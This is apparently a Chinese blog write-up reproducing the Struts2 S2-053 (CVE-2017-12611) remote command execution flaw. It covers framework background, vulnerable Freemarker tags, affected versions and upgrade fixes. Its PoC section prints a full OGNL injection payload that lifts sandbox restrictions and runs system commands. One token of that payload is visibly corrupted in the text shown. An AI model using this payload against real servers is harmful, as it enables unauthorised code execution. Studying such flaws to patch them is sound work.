CVE-2017-12611 Struts2远程命令执行漏洞复现总结

## CVE-2017-12611 Struts2-053'

### 前置知识

```
web服务器    提供HTTP服务,传送静态页面
1、Apache Http Server(由Apache提供)

2、IIS(由Microsoft提供)

3、nginx(由NGINX,Inc。提供,发音类似于“Engine X”)

4、GWS(由谷歌提供,谷歌网络服务器的简称)

应用服务器    为应用程序提供可以调用的方法
1、WebLogic(Oracle 甲骨文公司)

2、Tomcat(Apache提供)

3、JBoss (RedHat)
```

```
structs2
一个基于MVC设计模式的web应用框架

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以   Struts 2可以理解为WebWork的更新产品。
```

```
webwork
一个面向企业的Javaweb框架

WebWork是由OpenSymphony组织开发的,致力于组件化和代码重用的J2EE Web框架。 WebWork最新版本是2.2.2,现在的WebWork2.x前身是Rickard Oberg开发的WebWork,但现在WebWork已经被拆分成了XWork1和WebWork2两个项目
```

```
MVC
一套设计web引用程序的模式

M  Model(模型):处理数据中的逻辑
V  View(视图):显示数据
C  Controller(控制器):处理与用户的交互 
作用:将复杂程序通过划分层次简单化,让开发人员可以同时开发不同的层次,提升开发效率
```

![image-20220111134846271](Untitled/image-20220111134846271.png)

```
servlet
一个Java的api,运行再Java的应用服务器上,比如tomcat

Servlet(Server Applet),全称Java Servlet。是用Java编写的服务器端程序。其主要功能在于交互式地浏览和修改数据,生成动态Web内容。狭义的Servlet是指Java语言实现的一个接口,广义的Servlet是指任何实现了这个Servlet接口的类,一般情况下,人们将Servlet理解为后者。

Servlet运行于支持Java的应用服务器中。从实现上讲,Servlet可以响应任何类型的请求,但绝大多数情况下Servlet只用来扩展基于HTTP协议的Web服务器。
```

```
一、什么是JSP
一种特殊的Javaservlet

JSP全称:Java Server Pages
JSP是在传统静态网页HTML中插入Java代码片段和JSP标签的一直文件,后缀为.jsp
因为Java是跨平台的,所以JSP也是跨平台

二、JSP与Servlet的关系
JSP文件的本质是Servlet,只不过JSP与Servlet不同的是,JSP是专门用于进行数据展示的Servlet,其有特殊的写法。而普通的Servlet是用于完成业务逻辑处理的。由于Servlet是运行在单例多线程环境下的,所以JSP同样也是运行在单例多线程环境下

三、JSP规范
将JSP页面翻译为Servlet的过程,是由Tomcat完成的。在Tomcat内置了一个JSP翻译引擎,当第一次访问该JSP页面时,翻译引擎会将JSP页面翻译为Servlet,例如JSP页面中的HTML,CSS,JavaScript,及普通文本均被翻译到out.write中(例如下图就是JSP编译后的Servlet),Tomcat中的JSP翻译引擎,就遵循了这个JSP规范
```

![这里写图片描述](Untitled/20180401165245926)

```
Freemarker
一种view层的模板技术

目前最流行的两种模板技术恐怕要算freemarker和velocity了,webwork2.2对两者都有不错的支持,也就是说在webwork2中你可以随意选择使用freemarker或velocity作为view,模板技术作为view的好处是很多,尤其和jsp比较起来优点更大,jsp需要转换成serverlet,时间花费大,模板技术可以使得开发效率提升
```

### 漏洞描述

当在Freemarker标签中使用表达式常量或强制表达式时使用请求值可能会导致远程代码执行漏洞

```freemarker
<@s.hidden name="redirectUri" value=redirectUri />

<@s.hidden name="redirectUri" value="${redirectUri}" />

```

### 影响版本

```
Struts 2.0.1 - 2.3.33

Struts 2.5 - 2.5.10
```

### poc

```
poc
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd='ipconfig'}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
```

### 修复方案

```
1.升级到Apache Struts 2.5.13或2.3.34

2.Freemarker标签内容不要通过Request方式获取

3.使用只读属性来初始化value属性(仅限getter属性)

4.不要使用如下结构

<@s.hidden name=”redirectUri” value=redirectUri />

<@s.hidden name=”redirectUri” value=”${redirectUri}” />
```

你可能感兴趣的:(web安全,安全,struts)